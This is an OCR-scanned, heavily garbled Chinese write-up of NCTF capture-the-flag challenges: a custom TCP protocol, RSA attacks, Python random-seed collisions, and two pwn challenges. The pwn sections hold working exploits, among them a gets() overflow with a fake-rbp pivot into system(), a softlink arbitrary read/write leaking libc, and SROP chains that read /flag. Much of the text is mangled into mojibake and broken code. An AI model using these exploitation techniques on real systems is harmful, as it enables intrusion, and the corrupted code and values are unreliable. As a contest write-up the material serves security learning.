Python 3.11.9 (tags/v3.11.9:de5udcf5, Apr 2 2024, 10:12:12) [MSC v.1938 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> import socket, json, zlib
>>> HOST, PORT = "114.66.24.221", 41276
>>> KEY = b"NCTF"
>>> MAGIC = b"GAME"
>>> def make_packet(msg_type, obj):
plain = json.dumps(obj, separators=(",", ":")).encode()
payload = bytes(b "~ KEY[i % 4] for i, b in enumerate(plain))
head = MAGIC + bytes([msg_type, len(payload)])
chk = zlib.crc32(head + b"\x00\x00\x00\x00" + payload) & Oxffffffff
return head + chk.to_bytes(d, "big") + payload

decode_packet(resp):

payload = resp[10:10 + resp[5]]

plain = bytes(b " KEY[i % 4] for i, b in enumerate(payload))
print(plain.decode())

B e ctferif®



FRE—FEInEARSH TCP &Z, BE—MhXE, XER 1, ATE
{"username":"ctfer""password":"NCTF2026"}

>>> s = socket.create_connection((HOST, PORT
>>> auth = make_packet(l, {"username": "ctfer", "password": "NCTF2026"})
>>> auth.hex()

'47u14du5012a57a2fd7e356121352b313a272326767¢c6c2020202b31766a6¢c3335353d3U3b342a616e6L000000007c7366706c3e’
>>> s.sendall(auth)

A BRI B PINERN T

>>> respl = s.recv(Odeo

>>> respl.hex()
'47414d4501294da2e195356139233d3035212b616e640+36202e2b2d2022d2220232a6178643d3735323b30767c6c2c3f6L33!
>>> decode_packet(respl)

{"message":"Authenticated", "status":"ok"}

AT B LAfsEadmin& 4 :

RURSHINNZE “EREZLERNAN , T2 BEREEHAN

mEXMEKRW X RTE username=admin, KMAMRS HHEEEXENZBEM admin IAIE
A kiXGetFlagt, 2EiR[Elflag

>>> p = make_packe
>>> pkt2.hex()
'47414d4503273447463e356121352b313a272326767c6c22302b272d766a6¢3335353d343b342a616e6U421273921206129"
>>> s.sendall(pkt2)

>>> resp2 = s.recv(4096)

username”:

1

>>> resp2.hex()
'47414d450343e0e0169+3561322a2F24767c6c0d171208386220797761207+7079737d7b6c6b7a716c73637a317f7e6e602U7c7b627e28746423282
52964626127322+3721356¢797629256129'"'

>>> decode_packet(resp2)

{"flag":"NCTF{6f7U5f13-5388-1285-9e90-14b2868f70eff}", "status":"ok"}

NCTF{6f745f13-5388-4285-9e90-4b2868f70eff}

Crypto

Ez_RSA

2 n, e, c, hint, H:

° p, q #ZE512bit B

e hint = p XOR reverse_bits(q)

XEMW reverse_bits(q) =B q MWTHBIERIER, KBEER int(bin(g)[:1:-1],
2) o

1%

e p = sum(a_i * 271)



e g = sum(b_i *x 2714)
e hint = sum(h_i x 271)

BLrA:

(ASEEZS

1 a_i = h_i XOR b_(511-1)

wEiEi, p BIRIUE q NSMAE, p NSUH q RLRE,
Mmn=px*xqBWFE k DPTHFDREEBFEKRR:

HABIR

1 n_k = (carry_k + sum(a_i * b_(k-1i))) mod 2

EBSAEE q BIPRIR{L:

e {ffi b_o, b_1,

e =1l b_511, b_510,

TLRERZP 1S E:

° q HAETAYMRAL

° p HAETAYRAL

FRAIUMIRMAFE, ——URE n WZHFIEF.

FeHAEIAS .

e q BEERH, AL b_o =1

e q E512bit &%, FAIUESM b_511 = 1
BEE t B, BEEHE:

e ql0O..t]

e q[511-t .. 511]

T=:

e pl[o..t] BEZHE

o AILUEHITERENSE t UBREEHFT n_t

o WIRAF, SN EENE



QARMUFENAR, PRERELRS, BAILIFIA:
o BEZNE q MM, RMHZPE—K

o FRLAAILAMIIE q_min, g_max

o EEHFEXRARFE p_min, p_max

PESAESME—TERE p * q = n, BA q ERIIEE:

i’}

HEIIR

1 ceil(n / p_max) <= q <= floor(n / p_min)

EBXMXES [gq_min, g_max] XX, MRLGERE, RAXFIXAAESIEENRF, B
1B,

X—ZIEBEN, LMRRFLEEE HME—Z

Exp

(ASEEZS

from Crypto.Util.number import long_to_bytes

1

2

3  NBITS = 512

4 N =
1138115689650552365915751244867586793927445533121341489091052033467673383995711
4983577628124643466259856806159638866325303825668934529917720041666353984568827
T7447346395189677568405388952270634599590543939397457325519084988358577805564978
282375882831765408646889940777372958745826393653515323881370943911243589
E = 65537
C =
2863797161665997541520377128132837887854928842192108085907917455259392668238079
1394169267513651195690175911968893108214839850128311436983081661719981958725955
9989973470636333518937697128637190147531549939401749476850608645322418999172693
80408066913133029163844049218414849768354727966161277243216291473824377

7 HINT =
1576243345073003008373060079439884389051969812131242026561609123560469796189613
72023595598201180149465610337965346427263713514476892241848899142885213492

hint_bits = [(HINT >> i) & 1 for i 1in range(NBITS)]
10 n_bits = [(N > 1) & 1 for i in range(NBITS x 2)]
11 q_bits = [-1] x NBITS
12 g_bits[0] =1



13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

q_bits[NBITS - 1] = 1

def p_bit(i: int) -> -int:
qj = q_bits[NBITS - 1 - 1]
if qj < 0:

def

def

raise ValueError("requested an unknown p bit")

return hint_bits[i] * qj

bounds() -> tuple[int, int, int, int]:

q_min

p_min

g_max = 0
p_max = 0

for i, bit in enumerate(q_bits):

if bit < 0:
g_max |= 1 << 1
else:
g_min |= bit << i
g_max |= bit << i

for i in range(NBITS):
mirror = q_bits[NBITS - 1 - 1]

if mirror < O:

p_max |= 1 << i

else:

bit = hint_bits[i] A mirror

p_min |= bit << i
p_max |= bit << i

return p_min, p_max, g_min, g_max

dfs(depth: 1int, carry: int) -> int | None:

p_min, p_max, g_min, q_max

g_lo
q_hi =

max(q_min, (N + p_max - 1) // p_max)
min(g_max, N // p_min)

if g_lo > g_hi:

return None

if depth == NBITS // 2 - 1:
q = gq_min
if N % q != 0:
return None
return q
nxt = depth + 1
lo_idx = nxt
hi_idx = NBITS - 1 - nxt

bounds ()



60

61 for low_bit in (0, 1):

62 for high_bit in (0, 1):

63 q_bits[lo_idx] = low_bit

64 g_bits[hi_idx] = high_bit

65

66 total = carry

67 for i in range(nxt + 1):

68 total += p_bit(i) * g_bits[nxt - 1]
69

70 if (total & 1) == n_bits[nxt]:
71 result = dfs(nxt, total >> 1)
72 if result is not None:

73 return result

74

75 q_bits[lo_idx] = -1

76 g_bits[hi_idx] = -1

77 return None

78

79 def main() -> None:

80 q = dfs(0, 0)

81 if q is None:

82 raise RuntimeError("failed to recover q")
83

84 p=N//q

85 rev_q = int(bin(q)[:1:-1], 2)

86 assert p x q == N

87 assert p N rev_qg == HINT

88

89 phi = (p - 1) x (q - 1)

90 d = pow(E, -1, phi)

91 m = pow(C, d, N)

92 flag = long_to_bytes(m).decode()

93

94 print(f"p = {p}")

95 print(f"q = {q}")

96 print(f"flag = {flag}")

97

98 if __name__ == "__main__":

99 main()

100

flag = nctf{4lgérlthmlc_1s_als®@ l1mpert4nt!}

nctf{4lgOrlthmlc_1s_alsO_lmpOrt4nt!}



Hard RSA

B N, e, c, EXIRE flag

XERRERMSGZ:

o d REKL 1024 bit

o HEFRZIR lambda(N) Ki¥f

o MEME phi = (ph6 - 1)(q*6 - 1) X

(RS EEZS

1 phi= (p”6 - 1)(g"6 - 1) = N6 - p"6 - g6 + 1

m p, q #R=512bit, FEik:

e NA6 K92 6137 bit

e pr6 + gr6 REKL 3070 bit
o FILL phi # N6 RHEESE

HEN:

EGIR

1 ed-kphi=1
Hbh o < k < d, F&E:
(AEIS
1 e /phi =k /d+ 1/ (dx* phi)

XEA phi 5 Nre tREZE, FRLL:

(AGEEZS

1 e / Ne6=~e /phi~k/d



1. 3 e / Nr6e UEDTEFF
2. MRS DE k/d
{8 phi = (e d - 1) / k

. EXD phi BREFHEEN p, q

w

N

EIEHIERW

(ASEEN

1 phi= (p"6 - 1)(g"6 - 1)
[RIZI1SE):

ARIGIR

1 p"6 + g"6 = N6 - phi + 1
ig:

REGIR

1 S6 = p’6 + g”6

2 u = pr"3 + g”"3
UK

(ASEEN

1 u”2 = ph6 + 2p"3g"3 + g6 = S6 + 2NA3
LA

EGIR

1 u = sqrt(Se + 2N73)

®E.



Kmipr3 - gh3)"2 = (p*3 + g”3)"2 - 4p"3g"3 = u”2 - 4N"3

TE2=3:
(ACERS
pr3 = (U +v) /2
2 g"3 = (u-v) /2
Hrp:
RAGIR

1 v = sgrt(ufr2 - 4N73)

BHR=ZRGEMEME p, q.

B d 2EE (pr6e - 1)(gh6 - 1) EXH, EBEAENRN:
° p-1]p'6-1

°* g-1]qg" -1

FRLUDAR :
AR
1 ed=1mod (p - 1)
2 ed=1mod (g - 1)

XiREA d IARR N = pq BWEEREREY, AltERE:

(RS EEZS

1 m = pow(c, d, N)

BiA] R E BASL

>§|-
]

Exp

EGIR



A W N

10
11
12
13
14
15

import math

from Crypto.Util.number -import long_to_bytes

N =
7491931416296662302678040939463573085135942396204215280467335969606230359294879
2225237959325724332015193893411896458285500680923291830113157053732353835717437
0562825296436496069996360423753561706252230684070056005974325121157454262976205
03763041544738664221739366981075762409535100379250338620618401995088237

E =
1153824403638514961639818404863841074925611920439359070589802660868275288864817
5370920560197772185480660987325593093503235209882333675857851474205201766462432
0880734668505025950239731519576865823805968986213809315084654931730883582863309
3737236863047349186448604125207692859693435845407897814099904920199441658246258
1530040576742648531725994110199878132341146646377730675358400059716437044013046
3322472428512359842079912370327303953535847288486792265729271519703439492772330
1102922276489368556528226224412904910463299845196663724754608130765929332928300
3511688745174518374510090612743167704863522870907314009252829656443007402796667
6751247853438866388663691773416941464827914578065911403270794793189044046310361
8123701557719705293537574753223327216241464106157844527314938761922953377602432
4575457126609248421680815265604209331736613532922579287990041668851687948185505
5555090043162672499662746617097324126665279154039087354142631899072583591875973
4485663422614187579339580974914306248477783179391439398847076063270613465268953
0693508181434116755714897454005251976442083750415168724500305494569156564441335
1468736320044794906326974209391387438080503466412668871800294636642414652459851
5643407610411867357609497034831584979681852231087217904836657962123818997688533
8169261175873954385632163125064977103035725711067242766080148067424515118328111
8006855095936338551269908982677103650278164957043853181158383261830382128373562
4012787652232638988271174869139150027898591314583555691551090584707803956302609
2225080264398446851128623145760810617559782990517641712522695944468239392218993
3288709798973807586352487516329712976257944503755516552005154708122299515447476
8352907667316279590304315963137103923373348747776213767292574397219395777947523
8136280104578135535403461398104476894687960144850075022873165260841650875148313
9575431367276816127751324213761

C =
4659710183444999541492771613628739079293726348549869560762261327498530391914809
9277379370499625616739447192289360957892792459785981292432370520768029645163669
0425534658340502144309656291987491176826812681219371916023530199969711641177334
52207322953311422907574742284390173017434719506924876701654539254320355

def convergents(numerator: int, denominator: int):
cf = []
a, b = numerator, denominator
while b:
q=a//b
cf.append(q)
a, b=b, a-qg=xb



16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62

def

def

pO, qO -
pl, C|l -

0, 1
1, 0

for term in cf:

p2
q2

term * pl + pO
term ¥ gl + O

yield p2, g2

PO, 90, pl, ql

pl, 91, p2, g2

icbrt(n: int) -> 1int:

lo =0

hi = 1 << ((n.bit_length() + 2) // 3 + 1)
while lo + 1 < hi:
mid = (lo + hi) // 2

if mid*x3 <= n:

lo = mid
else:
hi = mid
return lo

recover_params() -> tuple[int, int, int, int]:
n6 = N*x*6

for k, d in convergents(E, n6):

if d.bit_length() < 1000 or d.bit_length() > 1050:

continue
if (Exd - 1) % 1= 0:
continue

phi = (E *d-1) // k
s6 = n6 - phi + 1
if s6 <= 0:

continue

# p"6 + g6 = (p"3 + g"3)"2 - 2(pg)"3

u2 = s6 + 2 *x (Nxx3)
u = math.isqrt(u2)
if u x u = u2:

continue

# (p"3 - g"3)"2 = (p"3 + q"3)"2 - 4(pq)"3

V2 = u *x u - 4 x (Nxx3)

v = math.isqrt(v2)

if v x v 1= v2:
continue

p3 = (u+v) // 2

a3 = (u-v) // 2



63 p = dcbrt(p3)

64 q = 1icbrt(g3)

65

66 if p x g == N and p**3 == p3 and g**3 == (3:
67 return d, phi, p, q

68

69 raise RuntimeError("failed to recover parameters")
70

71  def main() -> None:

72 d, phi, p, g = recover_params()
73 m = pow(C, d, N)

74 flag = long_to_bytes(m).decode()
75

76 print(f"d = {d}")

77 print(f"phi = {phi}")

8 print(f'"p = {p}")

[ print(f"q = {q}")

80 print(f"flag = {flag}")

81

82 if __name__ == "__main__":

83 main()

84

flag =

nctf{98ble5c-9a3c-4d8e-9fla-2b3c4d5e6f7g}

RNG GAME
TR BT

EGIR

-

Welcome

N

In this
and you
number .

Here s

Give me

RNG GAME!!

game, I'll give you a seed that I used to
need to give me a different seed that can
If you can do it, you will get the flag!!

my seed: XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

your seed:

nctf{98ble5c-9a3c-4d8e-9fla-2b3c4d5e6f7g}

generate a random number,

generate the same random

MNEEIZEBAE seed, ESENTHER “different seed” MK ; WRAN— ML B RAERE, LS
BiZ Game over!!



HERRRSSIRAVHIE B AKZE

1. 4R seed #IMALIEN EUR 425

2. ER— 1 HEHE

3. BRI seed #IAH—R

4. NRERKHRIFBHENEMEE, B seed F4EFE, R4 flag

X2 Python random.seed() B9—M4EMR:

STFEHFHF, seed(x) # seed(-x) RZEFHEEHINIBRES
WREW, [EHR x MAa -x BABERR, EERTEERMEIFS
Ftt RERS Imsa i seed=s

HiZ[Ol: -s

TR E -

1. |-s = s

2. random.seed(s) 5 random.seed(-s) 44NN ETEEIEE
FREELH

s

Exp

RISIR

1 Hdmport re

2  dimport socket

3  dmport sys

4

5

6 HOST = sys.argv[l] if len(sys.argv) > 1 else "114.66.24.221"
7 PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 36897

8

9

10 def recv_until(sock: socket.socket, marker: bytes) -> bytes:
11 data = b""

12 while marker not in data:

13 chunk = sock.recv(4096)
14 if not chunk:
15 raise ConnectionError("remote closed connection")
16 data += chunk
17 return data
18

=
©



20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
59
40
41
42

def main() -> None:
with socket.create_connection((HOST, PORT)) as sock:
data = recv_until(sock, b"Give me your seed: ")
match = re.search(rb"Here 1is my seed: (\d+)", data)
if not match:

raise ValueError (f"seed not found in response: {datal!r}")

seed = int(match.group(1l))
answer = -seed

sock.sendall(f"{answer}\n".encode())

response = b""
while True:
chunk = sock.recv(4096)
if not chunk:
break

response += chunk

print(response.decode("utf-8", errors='"dignore'))

if __name__ == "_main__":

main()

flag{423a33d5-b03e-43f2-b3d7-e42ac47f99cb}

Encryption
it Z— 64 il ELF, RMEBE—MHHEE

checksec :

(ASEEZS

A W N

RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE

RE—AIT &G AERF T

3zZs
/.

MAE AN T :



erodnt main() {

2 setvbuf(stdin, NULL, 2, 0);

3 setvbuf (stdout, NULL, 2, 0);

4 setvbuf(stderr, NULL, 2, 0);

5

6 srand (time(NULL)) ;

7 rand_bytes(key, 16);

8 init(ctx, key);

9

10 puts("Welcome to the Encrypt Machine ...");
11 puts("Enter plaintext in chars (max 64 chars):");
12

13 gets(input);

14

15 len = strlen(input);

16 if (len > 64) {

17 puts("Plaintext too long!");

18 exit(l);

19 }

20

21 pad (input_copy);

22 encrypt(ctx, input_copy, out, padded_len);
23 print_hex(out) ;

24

25 load_flag();

26 pad(flag_copy);

27 encrypt(ctx, flag_copy, flag_out, padded_len);
28 print_hex(flag_out);

29

30 return 0;

31}

EFSTREAPRANEX, Bl flag FIEX.

0x4015ba XEZEIEFE XHE

1. fRE=1HIxE /flag

2. INRIXAE, PMIRFIRZE GZCTF_FLAG

3. BARTHMEMIXSE nctf{test_flag}

4, xigiE flag N E2BEMIE 0x404120

Wt flag BXEREFIETIEEPR, SHITE.bss B 0x404120



EFEE TR EIRIRE, SAHHEFAFRIT:

EGIR

1 su ctf -s /bin/sh

BRI EITIRE, BERLZMNESENE ctf
/flag HINRZE:

(ASEEZS

1 -rw-—————- 1 root root 43 /flag

FrLAEZ ret2win FEEE] ctf shell, cat /flag XEREIR:

(ASEEZS

1 cat: /flag: Permission denied

At ret2win RE2HEIELE, FEmREE%,

EFHNAREZER:

HEGIR

1 gets(input);
2 if (strlen(dinput) > 64) exit(l);

MRBAMR N, XMOBEXRMEREEISE, FAKRERFERBAN \x00 o
BZiZARSZERRZ socket, AILIEEARIBFTIMR:

(ASEEZS

1 payload = b"\x00" + b"A" % 1000 + b"\n"



1. gets() =#SHEEER A 2HEHIZE

2. strlen() ME—1 \x00 FIERIANKERZO
3. FTRKERERAL

4. BIXEEWEBEST

M main MRICREERH:

o MANEHXIESR: [rbp-0x3e0]
o REHY rbp : [rbp]

o IR[ENAL: [rbp+8]
PRURISRLE |

e ZFlsaved rbp : 0x3e0 = 992
e ZFlsaved rip : 0x3e8 = 1000
HRE:

(SRS

1 offset(saved_rbp) = 992

2 offset(saved_rip) = 1000

XSS payload BIEHH

IR S NI, TR,

AR 64 (U THRIIFFIRIEE, #HN 0x40143a BIBELER— ret , BN system() XXFREE
R,

(AGEEZS

1 payload = (

2 b"\x00" +

3 b"A" % 999 +

4 p64(0x40101a) +
5 p64(0x40143a) +
6 b'"\n"

2



FIBETILUZEER ctf shell, H11T id £FF:

EGIR

1 uid=1001(ctf) gid=1001(ctf) groups=1001(ctf)

X—H !
e NUL & pRIz
e RIP m\J#F
o BEFFLUREHREIRER
BXFERAEZART flag, EA shell EEFRZE root To
KPRITHRBHIEXRRABZ
AAZIR
main (root)
L— sh (root)

1
2
3 L— su (root)
4 L— sh (ctf)

m /flag =&:

(ASEEZS

1 -rw————--- 1 root root 43 /flag

£ ctf shell BEE#E flag 2K, &% payload W7k root APRAVERYE maini#tfE B S A EE flag

XEEZFBREFREIRIN—ERAIE, 0x401488 FB=E:

(ASEEES

1 401488: lea rax, [rbp-0x30]
2 40148c: mov rdi,rax
3 40148f: call system

XERBEXIFEERE:



Ieroisystem(rbp - 0x30);

P LASNSR g -
e saved rbp

e saved rip

BARAI LUL R BIFEZRT:

(ASEEZS

1  system(0x404120);

M 0x404120 IE4FZ flag BAFRTEMILE
REiL:

(ASEEES

1 fake_rbp - 0x30 = 0x404120

FRTLA:

(ASEEZS

1 fake_rbp = 0x404150

SAIGIB RIP 24X 0x401488 EPHA],

H system(0x404120) #% root HIZFAY, shell =Z=iHAIE flag FRIBHmSTHIT,
EA flag FREEDS, FIUSEEIRTE:

EGIR

1  sh: 1: flag{472809fd-436f-4cbb-8a46-99bdeabaedb6a}: not found

XMREARFFIE flag RIFHELHERT

Exp



Kpgifrom pwn import x

O 0o N o b~ W N

N NN NNNNMNNDNNRRERRRRRBRP B B
©W 0O N O 0 A W N RO O w~NOO b WN R

import re

import sys

HOST = sys.argv[1l] if len(sys.argv) > 1 else "114.66.24.221"
PORT = 1int(sys.argv[2]) if len(sys.argv) > 2 else 38937
context.log_level = "info"

CALL_SYSTEM_WITH_RBP = 0x401488
FAKE_RBP = 0x404150

payload = (
b'"\x00" +
b"A"™ * 991 +
p64 (FAKE_RBP) +
p64 (CALL_SYSTEM_WITH_RBP) +
b"\n"

io = remote(HOST, PORT)

jo.recvuntil(b'chars):")

io.send(payload)

data = io.recvall(timeout=5).decode("latinl", errors="1ignore")
print(data)

m = re.search(r" (flag\\{[A"\\n\\r}]1+\\})", data)
if m:
print("FLAG =", m.group(1l))

flag{472809fd-436f-4cbb-8a46-99bdealae46a}

RNG GAME revenge
revenge higahb £ TR PRS . RA TR seed FEEXTF 22256
EEininlE, RS2

HABIR

=

Welcome RNG GAME!!
In this game, I'll give you a seed that I used to generate a random number,
and you need to give me a different seed that can generate the same random

number. If you can do it, you will get the flag!!

Here is my seed: 245956792869223560076208654264883429806



6 Give me your seed:

HLAEARNL, ZI:

o HAMERE seed, £iR[E] Don't use the same seed!!
o A%, =iR[E] Seed is too small!!

o MAIEB AR, =R[E] Seed is too big!!

o WAEBEAFEE, =IR[E] Game over!!

H—MIAR, FILAAIA:

o &EBER 0 <= seed <= 27256

e 2/256 + 1 RIHIELE

ZIh, MBRWMNIEEFRFH, LU abc , mIRSEER traceback:

AR

1 Traceback (most recent call last):

2 File "/app/run", line 19, 1in <module>

3 seed2 = int(input("Give me your seed: "))

4 ValueError: qinvalid literal for int() with base 10: 'abc'

XARSIHIBMANLM T int(...) ik, AEEEEEEE.
LEFERIE, EARFLURREM FEXMEN:

SR

1 dmport random

2

3 seed = ...

4 print(f"Here is my seed: {seed}")
5

6 random. seed (seed)

7 target = ...

8

9 seed2 = int(input("Give me your seed: "))
10 if seed2 < 0:
11 print("Seed is too small!!")
12 exit()
13  if seed2 > 2%%256:
14 print("Seed is too big!!")
15 exit()

16 if seed2 == seed:

17 print("Don't use the same seed!!M)



18 exit()

19

20  random.seed(seed2)

21 +if ... == target:

22 print(flag)

23  else:

24 print("Game over!!")

AERET: BBLLBRHIARE “seed BEHMEE" , MRE “seed YA K/EBVENRZSHERE" o

Xt FE# seed, CPython IBEIRET 132 fii/)\is word, AR MT19937 B9
init_by_array() o

Ri%:
seed=w0+wl* 232+ w2 * 2264 + ...
IBAZHER key $RAFZ !
[wO, wl, w2, ...]
Hrp wo 251K 321,

Mersenne Twister 2 LM EMNE—I RS =,
(REIEESS

1 mt[i] = (mt[i] A ((mt[i-1] A (mt[i-1] >> 30)) * 1664525U))
+ dnit_key[j] + j;

XEBERTE key FANKRB, F2BMB init_key[j] , Me:

(ASEEZS

1 Adnit_key[j] + j

AR XAV M,
HELEH seed 5BTE 0 ~ 27128-1 , FIlERZRSWIRMA 4 1 32 {i word,
1IC/RE word 4B [wo, wl, ..., w(m-1)]

Heh m 2LPfrword &, m <= 4,

ME— 1B KBV ENA:



Rmiwe, wl, ..., w(m-1), we-m, wl-m, ..., w(m-1)-m] (mod 2732)

WM IERBAET —H, HiLEFEED word #EZE mo
HERTFrER A KEZA 2m o

FHAEFE—RERBENFTZ:
w0+0, wl+l, ..., w(m-1)+(m-1), w0+0, wl+1, ...
MBAEE—RERFENFIIZ:

w0+0
wl+l

w(m-1)+(m-1)
(w0-m)+m
(wl-m)+(m+1)

(w(m-1)-m)+(2m-1)
BEFERLE—T:

(W_i-m)+(i+m)=w_i+i
PRUUGHT AR R IRE ARIERT, MRBEAZRT T2,
M init_by_array() BEZRABIKRE key, REXHE—REREN mt RKEo
At :
1l 5—8RE—HK
2. FIRRETHL—H
3. R MT REPRSTE—H
FRZEERNFE RNt E ST 2MEE,

HBIR seed ¥ 32 (utIpk/Nim¥il /e, HiFR EFEMNATDSHEE, BHEIZEHREE,
Eban:

ADIR

MASK32 = (1 << 32) - 1

1
2
3  words = split_words(seed)
4 m = len(words)



5
6

lifted = words + [((w — m) & MASK32) for w in words]
seed2 = join_words(lifted)

EIAR seed 2% 4 1> word, FrLi¥T seed 2% 8 > word, HFLE&% 256 bit, NIFFHAFEER
B4 NSE I PR o

ZHGNIIE
AL EHEEAHISER 1 seed MREPRETRIER:

HRIGIR

1 dmport random

2

3 seed = 245956792869223560076208654264883429806
4  seed2 =

8369475952998260581532669281779468927877286324220832609537058764131104242116
6

5
6 rl1 = random.Random(seed)
7 r2 = random.Random(seed2)
8
9 print(rl.getstate() == r2.getstate()) # True
10 print(rl.getrandbits(32) == r2.getrandbits(32)) # True
11 print(rl.getrandbits(64) == r2.getrandbits(64)) # True
12 print(rl.getrandbits(256) == r2.getrandbits(256)) # True
BIAanT:

AREGIR

1 Adimport re

2  dimport socket

3  dimport sys

4

5 HOST = sys.argv[1l] if len(sys.argv) > 1 else "114.66.24.221"

6 PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 43658

7  MASK32 = (1 << 32) -1

8

9 def recv_until(sock: socket.socket, marker: bytes) -> bytes:

10 data = b""

11 while marker not in data:

12 chunk = sock.recv(4096)

13 if not chunk:



14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60

def

def

def

def

raise ConnectionError("remote closed connection'")
data += chunk
return data

split_words(seed: int) -> list[int]:
if seed ==
return [0]
word_count = (seed.bit_length() + 31) // 32
return [(seed >> (32 * i)) & MASK32 for i 1in range(word_count)]

join_words(words: list[int]) -> int:
seed = 0
for i, word in enumerate(words):

seed |= (word & MASK32) << (32 * 1)

return seed

equivalent_seed(seed: int) -> -int:
words = split_words(seed)

m = len(words)

# For MT's init_by_array(), the first mixing loop uses init_key[j] + J.
# Duplicating the key and subtracting m from the second block keeps that

# whole sequence unchanged, so the initialized MT state is identical.

lifted = words + [((word - m) & MASK32) for word in words]
seed2 = join_words(lifted)
if seed2 != seed:

return seed2

# Extremely rare degeneracies where the appended block is all zero.

if m ==

lifted = words + [((words[0] - 1) & MASK32), ((words[0] - 2) & MASK32)]

return join_words(lifted)

if m ==
lifted = (
words
+ [((word - 2) & MASK32) for word in words]
+ [((word - 4) & MASK32) for word in words]
)

return join_words(lifted)

raise ValueError("hit a degenerate seed; reconnect and try again")

main() -> None:

with socket.create_connection((HOST, PORT)) as sock:
data = recv_until(sock, b"Give me your seed: ")
match = re.search(rb"Here 1is my seed: (\d+)", data)
if not match:



61 raise ValueError(f"seed not found in response: {datal!r}")
62

63 seed = int(match.group(l))

64 answer = equivalent_seed(seed)

65 sock.sendall(f"{answer}\n'".encode())
66

67 response = b""

68 while True:

69 chunk = sock.recv(4096)

70 if not chunk:

71 break

72 response += chunk

73

74 print(response.decode("utf-8", errors="dignore"))
75

76 if __name__ == "__main__":

77 main()

78

flag{4afd2039-f6b6-43f6-98a2-44c59e9787f1}

Pwn

VFS_Stack
ZORIATE cmd_softlink o
CRIEXHFABERN T EX SN

HAEDIR

1  struct fake_link_blob {

2 uinte4_t ptr;

3 uint32_t size;

4 uint32_t admin;

5 char tag[6]; // "LNKPTR"
6 1}

WEPEAERE:

1. Bz 1E



2. R EER softlink
3. src->size > 0Ox17
4. memcmp(src->data + 0x10, "LNKPTR", 6) == 0

SRIGHTEM softlink inode £ E#ZHY: new->data = *(uint64_t ) (src->data) # new-

>size = *x(uint32_t %) (src->data + 8)
MENRREXERZENYE, admin_only A&, ZHAFE 0.

FRUARTLAYE TOUCH a , BB WRITE a BEAfAIER fake_link_blob , #AfF SOFTLINK a
b, X b MET/—1 “EEMUL. FEKXK/IN BIXH,

F=&: READ b n ={EEHIHNE, WRITE b n =EEMUTE
S48 softlink 382 write@got : write@got = 0x405010

B SERRItALfE

(ASEEZS

1 libc_base = leak_write - libc.sym["write"]

HE softlink 5%

EGIR

1 libc_base + libc.sym["environ"]

R environ 15mEBVHRMIL,
menu_loop BHEIZ leave; ret , 1R[EIE] vfs_sandbox ARHJMILE 0x402c68 ,
BETEREZE, BEEMNM:

EFIR

1 environ - 0x40000

FaiE—RIR%RNTE, 15 REHIE 0x402c68 , FHAFIENYGDFFTREMIE 0x4033f4 i
mHIA

ZEIXMREUFAENESSHMILE, MAIUEZERE,
FEA seccomp BITT rt_sigreturn , RIBHMHIER SROP,

FM libc gadget: 1libc + 0x45331 : mov eax, Oxf ; syscall, libc + 0x98fb6

: syscall ; ret



# menu_loop HR[EMIIEAAL mov eax, Oxf ; syscall , X# QUIT Z/GERE—i&[E,
MEPIT—R rt_sigreturno

FEEHE 4 MBRAY SigreturnFrame :

1. open("/flag", 0, 0)

2. read(3, buf, 0x100)

3. write(0, buf, 0x100)

4, exit(0)

XEBEIA open R[Efd 3, EEMIEEIFHEXE,

ENER WRITE RREREEE 0x400 , FTLAFKIE ROP/SROP HUBHRA I
o E—EX: 4 SROPstage, IE4F 0x400

o ETEK: /flag FRHMEEAX

&fE&R QUIT , BFERRHREHZETIFH SROP g& £, HiEHE flag +T[0 socket,
Iz a0 F

REGIR

1 from pwn dimport *

2

3

4 context.clear(arch="amd64", os="1l1inux'")
5

6 HOST = args.HOST or "114.66.24.221"

7 PORT = int(args.PORT or 46285)

8

9 elf = ELF("./pwn", checksec=False)
10  1libc = ELF("./libc.so.6", checksec=False)
11
12 PROMPT = b"vfs> "
13

14 SOURCE = b"a"

15 WRITE_GOT_LINK = b"b"
16 ENVIRON_LINK = b'"c"

17 STACK_SCAN_LINK = b"d"
18 ROP_LOW_LINK = b"e"

19 ROP_HIGH_LINK = b"f"
20

21  WRITE_GOT = elf.got["write"]
22 RET_MENU = 0x402C68

23 WELCOME_STR = 0x4033F4
24

25 MOV_EAX_15 = 0x45331



26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72

SYSCALL_RET = 0x98FB6

FRAME_LEN = 8 + len(bytes(SigreturnFrame()))
assert FRAME_LEN == 0x100

def

def

def

def

def

send_cmd(io, line):
io.sendline(line)
return io.recvuntil(PROMPT)

touch(io, name):
out = send_cmd(io, b"TOUCH " + name)
if b"OK\n" not in out:
raise RuntimeError(f"touch failed: {out!r}")

write_file(io, name, data):

jo.sendline(b"WRITE " + name + b" " + str(len(data)).encode())
jo.recvuntil(b"READY\n'")

jo.send(data)

out = do.recvuntil(PROMPT)

if b"OK\n" not in out:

raise RuntimeError(f"write failed: {out!r}")

read_file(io, name, size):
io.sendline(b"READ " + name + b" " + str(size).encode())

header = 1do.recvline()
b"DATA " + str(size).encode() + b'"\n"
if header != expect:

expect

raise RuntimeError(f"unexpected read header: {header!r}")
data = io.recvn(size)
jo.recvuntil(PROMPT)
return data

make_softlink(io, dst_name, addr, size=OxFFFFFFFF):
blob = flat(
p64 (addr),
p32(size & OxXFFFFFFFF),
p32(0),
b"LNKPTR",
b"XX",
)
write_file(io, SOURCE, blob)
out = send_cmd(io, b"SOFTLINK " + SOURCE + b" " + dst_name)



73 if b"OK\n" not in out:

74 raise RuntimeError(f"softlink failed: {out!r}")

75

76

